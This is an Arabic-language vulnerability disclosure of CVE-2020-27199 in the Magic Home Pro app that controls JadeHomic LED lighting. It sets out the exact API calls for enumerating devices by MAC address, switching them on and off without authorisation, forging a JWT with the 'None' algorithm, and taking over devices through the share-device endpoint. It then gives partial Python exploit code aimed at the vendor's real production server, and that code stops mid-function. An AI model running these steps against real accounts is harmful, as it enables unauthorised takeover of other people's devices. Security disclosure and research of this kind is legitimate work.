
CVE-2020-27199

تم العثور على عدة ثغرات أمنية في تطبيق Magic Home Pro للهواتف المحمولة المستخدم للتواصل مع مجموعة إضاءة LED الشريطية JadeHomic. أكثر هذه الثغرات أهمية هي ثغرة تجاوز المصادقة (CVE-2020-27199)، والتي تتيح في النهاية السيطرة الكاملة على مجموعة أجهزة الضحية بأكملها.
magichome-forge.py - أداة تزوير JWT، تستخدم لأتمتة السيطرة على الجهاز
magichome-sniffer.py - مستنشط شبكة محلية يبحث في الشبكة عن الأجهزة المعرضة للخطر. يقوم ببناء قائمة بالأجهزة التي يمكن شن هجمات عليها
magichome-switch.py - يسمح بتشغيل الأجهزة
magichome-takeover.py - حمولة تسمح بالسيطرة الناجحة على حساب المستخدم
Suzhou SmartChip Semiconductor Co.,Ltd
تسمح هذه الثغرة لأي مستخدم مصادق عليه باستخدام مستوى التصريح الحالي الخاص به للاستفسار عن نقاط نهاية ليست جزءًا من منتجاته المسجلة، باستخدام استدعاء API إلى /app/getBindedUserListByMacAddress/ZG001?macAddress=<عنوان ماك>. ينتج عن ذلك استجابة HTTP تشير إلى وجود نقطة النهاية وتعيد اسم المستخدم ومعرف المستخدم الفريد (userUniID) والمعرف الفريد المرتبط (bindedUniID) لنقطة النهاية المرتبطة.
باستخدام الاستفسار أعلاه، يمكن للمهاجم بعد ذلك استخدام طلب POST غير مصرح به إلى API /app/sendCommandBatch/ZG001، باستخدام عنوان الماك الذي تم اكتشافه حديثًا لإرسال الأوامر إلى نقطة النهاية البعيدة باستخدام أوامر hex المتوافقة 71230fa3 و 71240fa4 مما يؤدي إلى التشغيل والإيقاف على التوالي.
بعد اكتمال الاستكشاف الأولي، يمكن أيضًا تزوير JWT باستخدام userID و uniID في بيانات حمولة JWT، مما يؤدي عمليًا إلى خفض مستوى الرمز المميز لاستخدام 'None' كخوارزمية في قسم رأس JWT (ثغرة تجاوز التوقيع). باستخدام هذه الثغرة، يصبح التطبيق عرضة للسيطرة على الجهاز من قبل المهاجم من خلال استدعاء API البعيد إلى /app/shareDevice/ZG001 واستخدام معامل JSON friendUserID لإضافة الجهاز إلى قائمة أجهزة المهاجم، مما يمنح المهاجم السيطرة الكاملة على الجهاز الهدف.
الإسناد:
يصف OUI المعرف الفريد للمنظمة لعناوين MAC المسجلة لمنظمة ما. في حالة JadeHomic، OUI السحري هو C8:2E:47، حيث تتوافق البايتات الثلاث الأولى مع الشركة المصنعة والبايتات الثلاث الثانية تتوافق مع الرقم التسلسلي المعين من قبل الشركة المصنعة. في حالتنا، المعرف الخاص بالشركة المصنعة مسجل باسم Suzhou SmartChip Semiconductor Co., LTD.
يسمح بتجاوز المصادقة على تطبيق Magic Home Pro للهواتف المحمولة وبالتالي السيطرة الكاملة على مجموعة أجهزة المستخدم الضحية بالكامل.
يقوم إثبات المفهوم بالاستكشاف على آخر بايتات ضمن نطاق MAC ويعيد النتائج. يسمح باختبار 'التنفيذ عن بُعد' إذا كنت تشعر بالجرأة.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<Valid Registered Email/Username>",
"password":"<Valid Registered Password>",
"clientID":""
}